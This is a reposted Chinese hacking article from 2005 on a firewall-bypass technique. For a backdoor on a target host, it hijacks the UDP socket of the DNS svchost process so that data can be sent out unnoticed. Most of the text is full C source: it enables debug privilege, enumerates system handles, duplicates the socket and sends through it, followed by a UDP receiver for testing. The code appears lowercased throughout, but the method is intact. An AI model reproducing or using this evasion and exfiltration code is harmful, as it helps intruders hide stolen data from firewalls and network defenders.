上一篇:dvbbs7.1 照样从后台得到webshell >>
一种新的穿透防火墙的数据传输技术
author : zwell
email : zwell@sohu.com
date : 2005.4.12
使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).
针对目前_blank">防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被_blank">防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:
1. 找出目标进程
2. 找出socket句柄
2. 用duplicatehandle()函数将其socket转换为能被自己使用.
3. 用转换后的socket进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的socket不能是tcp,因为tcp的句柄已经跟外面建立了连接,所以只能是udp.
针对不同系统不同进程我们很难定位一个稳定的进程socket.
看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".
我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是dns.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是udp传输, 我们就拿他开刀...
下面是通过直接控制dns进程(其实也就是svchost.exe,不过对应用户名是network service)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作local service),在句柄值为0x2c时进行getsockname时会停止运行等等.
| 具体解决方法请细看注释部分... /*++ made by zwell zwell@sohu.com 2005.4.12 --*/ #include <winsock2.h> #include <stdio.h> #include <wtsapi32.h> #pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32") #define nt_success(status) ((ntstatus)(status)>=0) #define status_info_length_mismatch ((ntstatus)0xc0000004l) typedef long ntstatus; typedef struct _system_handle_information { ulong processid; uchar objecttypenumber; uchar flags; ushort handle; pvoid object; access_mask grantedaccess; } system_handle_information, *psystem_handle_information; typedef ulong (winapi *zwquerysysteminformation)(ulong, pvoid, ulong, pulong); zwquerysysteminformation zwquerysysteminformation = null; bool locatentdllentry ( void ) { bool ret = false; char ntdll_dll[] = "ntdll.dll"; hmodule ntdll_dll = null; if ( ( ntdll_dll = getmodulehandle( ntdll_dll ) ) == null ) { printf( "getmodulehandle() failed"); return( false ); } if ( !( zwquerysysteminformation = ( zwquerysysteminformation )getprocaddress( ntdll_dll, "zwquerysysteminformation" ) ) ) { goto locatentdllentry_exit; } ret = true; locatentdllentry_exit: if ( false == ret ) { printf( "getprocaddress() failed"); } ntdll_dll = null; return( ret ); } /*++ this routine is used to get a process's username from it's sid --*/ bool getusernamefromsid(psid pusersid, char *szusername) { // sanity checks and default value if (pusersid == null) return false; strcpy(szusername, "?"); sid_name_use snu; tchar szuser[_max_path]; dword chuser = _max_path; pdword pcchuser = &chuser; tchar szdomain[_max_path]; dword chdomain = _max_path; pdword pcchdomain = &chdomain; // retrieve user name and domain name based on user's sid. if ( ::lookupaccountsid( null, pusersid, szuser, pcchuser, szdomain, pcchdomain, &snu ) ) { wsprintf(szusername, "%s", szuser); } else { return false; } return true; } /*++ this routine is used to get the dns process's id here, i use wtsenumerateprocesses to get process user sid, and then get the process user name. beacause as it's a "network service", we cann't use openprocesstoken to catch the dns process's token information, even if we has the privilege in catching the system's. --*/ dword getdnsprocessid() { pwts_process_info pprocessinfo = null; dword processcount = 0; char szusername[255]; dword id = -1; if (wtsenumerateprocesses(wts_current_server_handle, 0, 1, &pprocessinfo, &processcount)) { // dump each process description for (dword currentprocess = 0; currentprocess < processcount; currentprocess++) { if( strcmp(pprocessinfo[currentprocess].pprocessname, "svchost.exe") == 0 ) { getusernamefromsid(pprocessinfo[currentprocess].pusersid, szusername); if( strcmp(szusername, "network service") == 0) { id = pprocessinfo[currentprocess].processid; break; } } } wtsfreememory(pprocessinfo); } return id; } /*++ this doesn't work as we know, sign... but you can use the routine for other useing... --*/ /* bool getprocessuserfromid(char *szaccountname, dword pid) { handle hprocess = null, haccesstoken = null; tchar infobuffer[1000], szdomainname[200]; ptoken_user ptokenuser = (ptoken_user)infobuffer; dword dwinfobuffersize,dwaccountsize = 200, dwdomainsize = 200; sid_name_use snu; hprocess = openprocess(process_query_information, false, pid); if(hprocess == null) { printf("openprocess wrong"); closehandle(hprocess); return false; } if(0 == openprocesstoken(hprocess,token_query,&haccesstoken)) { printf("openprocesstoken wrong:%08x", getlasterror()); return false; } gettokeninformation(haccesstoken,tokenuser,infobuffer, 1000, &dwinfobuffersize); lookupaccountsid(null, ptokenuser->user.sid, szaccountname, &dwaccountsize,szdomainname, &dwdomainsize, &snu); if(hprocess) closehandle(hprocess); if(haccesstoken) closehandle(haccesstoken); return true; }*/ /*++ now, it is the most important stuff... ^_^ --*/ socket getsocketfromid (dword pid) { ntstatus status; pvoid buf = null; ulong size = 1; ulong numofhandle = 0; ulong i; psystem_handle_information h_info = null; handle sock = null; dword n; buf=malloc(0x1000); if(buf == null) { printf("malloc wrong\n"); return null; } status = zwquerysysteminformation( 0x10, buf, 0x1000, &n ); if(status_info_length_mismatch == status) { free(buf); buf=malloc(n); if(buf == null) { printf("malloc wrong\n"); return null; } status = zwquerysysteminformation( 0x10, buf, n, null); } else { printf("zwquerysysteminformation wrong\n"); return null; } numofhandle = *(ulong*)buf; h_info = ( psystem_handle_information )((ulong)buf+4); for(i = 0; i<numofhandle ;i++) { try { if( ( h_info[i].processid == pid ) && ( h_info[i].objecttypenumber == 0x1c ) && (h_info[i].handle!=0x2c) // i don't know why if the handle equal to 0x2c, in my test, it stops at getsockname() // so i jump over this situation... // may be it's different in your system, ) //wind2000 is 0x1a { //printf("handle:0x%x type:%08x\n",h_info[i].handle, h_info[i].objecttypenumber); if( 0 == duplicatehandle( openprocess(process_all_access, true, pid), (handle)h_info[i].handle, getcurrentprocess(), &sock, standard_rights_required, true, duplicate_same_access) ) { printf("duplicatehandle wrong:%8x", getlasterror()); continue; } //printf("duplicatehandle ok\n"); sockaddr_in name = {0}; name.sin_family = af_inet; int namelen = sizeof(sockaddr_in); getsockname( (socket)sock, (sockaddr*)&name, &namelen ); //printf("port=%5d\n", ntohs( name.sin_port )); if(ntohs(name.sin_port)>0) // if port > 0, then we can use it break; } } catch(...) { continue; } } if ( buf != null ) { free( buf ); } return (socket)sock; } /*++ this is not required... --*/ bool enableprivilege (pcstr name) { handle htoken; bool rv; token_privileges priv = { 1, {0, 0, se_privilege_enabled} }; lookupprivilegevalue ( 0, name, &priv.privileges[0].luid ); priv.privileges[0].attributes = se_privilege_enabled; openprocesstoken( getcurrentprocess (), token_adjust_privileges, &htoken ); adjusttokenprivileges ( htoken, false, &priv, sizeof priv, 0, 0 ); rv = getlasterror () == error_success; closehandle (htoken); return rv; } void main() { wsadata wsadata; char testbuf[255]; socket sock; sockaddr_in recvaddr; int iresult = wsastartup(makeword(2,2), &wsadata); if (iresult != no_error) printf("error at wsastartup()\n"); if(!locatentdllentry()) return; if(!enableprivilege (se_debug_name)) { printf("enableprivilege wrong\n"); return; } sock = getsocketfromid(getdnsprocessid()); if( sock==null) { printf("getsocketfromid wrong\n"); return; } //change there value... recvaddr.sin_family = af_inet; recvaddr.sin_port = htons(5555); recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(socket_error == sendto(sock, "test", 5, 0, (sockaddr *) &recvaddr, sizeof(recvaddr))) { printf("sendto wrong:%d\n", wsagetlasterror()); } else { printf("send ok... have fun, right? ^_^\n"); } getchar(); //wsacleanup(); return; } 很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中, 因为要找出dns进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用openprocesstoken, 但是怎么也不行,所以换个方法.用到了wtsapi32库函数. 再用下面的代码测试: /*++ udpreceiver --*/ #include <stdio.h> #include "winsock2.h" #pragma comment(lib, "ws2_32") void main() { wsadata wsadata; socket recvsocket; sockaddr_in recvaddr; int port = 5555; char recvbuf[1024]; int buflen = 1024; sockaddr_in senderaddr; int senderaddrsize = sizeof(senderaddr); //----------------------------------------------- // initialize winsock wsastartup(makeword(2,2), &wsadata); //----------------------------------------------- // create a receiver socket to receive datagrams recvsocket = socket(af_inet, sock_dgram, ipproto_udp); //----------------------------------------------- // bind the socket to any address and the specified port. recvaddr.sin_family = af_inet; recvaddr.sin_port = htons(port); recvaddr.sin_addr.s_addr = htonl(inaddr_any); bind(recvsocket, (sockaddr *) &recvaddr, sizeof(recvaddr)); //----------------------------------------------- // call the recvfrom function to receive datagrams // on the bound socket. printf("receiving datagrams...\n"); while(1) { recvfrom(recvsocket, recvbuf, buflen, 0, (sockaddr *)&senderaddr, &senderaddrsize); printf("%s\n", recvbuf); } //----------------------------------------------- // close the socket when finished receiving datagrams printf("finished receiving. closing socket.\n"); closesocket(recvsocket); //----------------------------------------------- // clean up and exit. printf("exiting.\n"); wsacleanup(); return; } 下一篇:NAT全功略(从服务器到路由器) >> 相关文章:
© 2006 www.java-asp.net
|
